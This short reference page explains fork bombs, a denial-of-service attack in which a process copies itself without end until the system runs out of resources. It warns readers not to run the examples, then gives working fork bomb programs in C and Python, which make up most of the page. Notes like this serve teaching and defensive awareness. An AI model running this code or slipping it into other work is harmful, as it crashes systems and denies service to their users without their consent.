Fork Bomb

Fork Bomb is one of the denial-of-service attacks which lead the system to deplete the available resources by replicating a child process infinitely.

Warning

Please don’t execute the following programs in system that you don’t want to harm.

Exploitation in C

This program forks child processes continuously.

#include <stdio.h>
#include <sys/types.h>

int main()
{
    while (1)
        // Create a child process from the parent process.
        fork();
    return 0;
}

Exploitation in Python

import os

while True:
    os.fork()

Exploitation in Bash

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References

• GeeksForGeeks
• Imperva